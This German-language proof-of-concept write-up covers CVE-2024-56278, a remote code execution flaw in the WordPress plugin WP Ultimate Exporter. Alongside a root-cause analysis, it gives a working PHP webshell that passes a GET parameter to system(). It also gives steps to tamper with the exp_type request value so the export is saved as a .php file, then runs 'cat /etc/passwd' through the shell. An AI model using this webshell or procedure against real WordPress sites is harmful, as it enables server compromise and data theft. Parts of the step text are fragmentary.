
Proof-of-Concept-Exploit für CVE-2024-56278, eine Remote-Code-Ausführungs-Schwachstelle im WordPress-Plugin WP Ultimate Exporter, die den Datei-Upload zu einer PHP-Webshell demonstriert.
WordPress-Plugin
Komponentenname WP Ultimate Exporter
Verwundbare Version <= 2.9.1
Komponenten-Slug wp-ultimate-exporter
Komponenten-Link https://wordpress.org/plugins/wp-ultimate-exporter/
Schwachstellenklasse A4: Unsicheres Design
Schwachstellentyp Remote Code Execution (RCE)
Administrator
Das WP Ultimate Exporter-Plugin ist ein Addon für das WP Ultimate CSV Importer-Plugin. Dieses Plugin ermöglicht es Ihnen, alle Beiträge, Produkte, Bestellungen, Rückerstattungen und Benutzerdaten in den Formaten CSV, XLS, XML und JSON zu exportieren. Beim Export werden Dateien im Upload-Pfad erstellt, und das Plugin liefert den Benutzern nur den Inhalt dieser Dateien.
In WP Ultimate Exporter-Pluginversionen 2.9.1 und darunter wird beim Anfordern eines Datencxports, wenn die Dateierweiterung in den Anfragedaten auf PHP gesetzt ist, eine PHP-Datei im Upload-Pfad erstellt. Wenn der Inhalt der erstellten Datei daher PHP-Syntax enthält, tritt eine Remote Code Execution (RCE)-Schwachstelle auf, da die PHP-Syntax beim Zugriff auf diese Datei ausgeführt wird.
⚠️ Da das 'WP Ultimate Exporter'-Plugin ein Addon für das 'WP Ultimate CSV Importer'-Plugin ist, müssen beide Plugins installiert sein.
Erstellen Sie einen neuen Beitrag mit dem Code-Editor (Tastenkürzel: ⇧ ⌥ ⌘ M) mit folgendem Inhalt:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Navigieren Sie zum Tab 'Export' des WP Ultimate Exporter-Plugins. Dieser ist über den Tab 'Export' im Dashboard des WP Ultimate CSV Importer-Plugins erreichbar (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Starten Sie ein Proxy-Tool (z. B. BurpSuite), um Anforderungspakete abzufangen, und fahren Sie mit den folgenden Schritten bei aktiviertem Intercept fort.
Wählen Sie als Nächstes 'Beiträge' aus 'Wählen Sie das Modul zum Exportieren von Daten' aus und fahren Sie mit dem nächsten Schritt fort.

Exportdateiname Geben Sie 'webshell' einErweiterte Einstellungen Wählen Sie 'CSV'
/wp-admin/admin-ajax.php gesendet, um die Daten zu exportieren. Ändern Sie den exp_type-Wert in den Anforderungsdaten von csv auf php und klicken Sie dann auf Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd in die Browser-Adressleiste ein, um den Inhalt der Datei /etc/passwd auf dem Server anzuzeigen, auf dem WordPress installiert ist. Dies demonstriert die RCE-Schwachstelle.
Beim Exportieren von Daten im WP Ultimate Exporter-Plugin wird die Funktion parseData in der Datei /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php aufgerufen.
Zu diesem Zeitpunkt wird keine Filterung auf die Anforderungsdaten exp_type angewendet, die das Exportdatenformat bestimmen, und der Wert wird direkt in die Membervariable $this->exportType eingefügt.

Anschließend wird die Funktion proceedExport aufgerufen, um die Daten in einer Datei zu speichern. Zu diesem Zeitpunkt wird bei der Initialisierung der Variable $file, die den Dateispeicherpfad angibt, ebenfalls die Membervariable $this->exportType ohne jegliche Filterung verwendet.

Anschließend wird der in der Variable $file gespeicherte Dateipfad als Argument an die Funktion file_put_contents übergeben, und zu diesem Zeitpunkt wird die Datei mit der in den Anforderungsdaten exp_type angegebenen Erweiterung direkt angewendet gespeichert.

Wenn daher Beitragsdaten, die Web-Shell-Code enthalten, als PHP-Datei gespeichert werden und auf diese Datei zugegriffen wird, tritt eine Remote Code Execution (RCE)-Schwachstelle auf, da der PHP-Code ausgeführt wird.


Geben Sie dann den folgenden Befehl ein, um den PoC-Code auszuführen.
Erforderliches Modulrequests
python poc.py
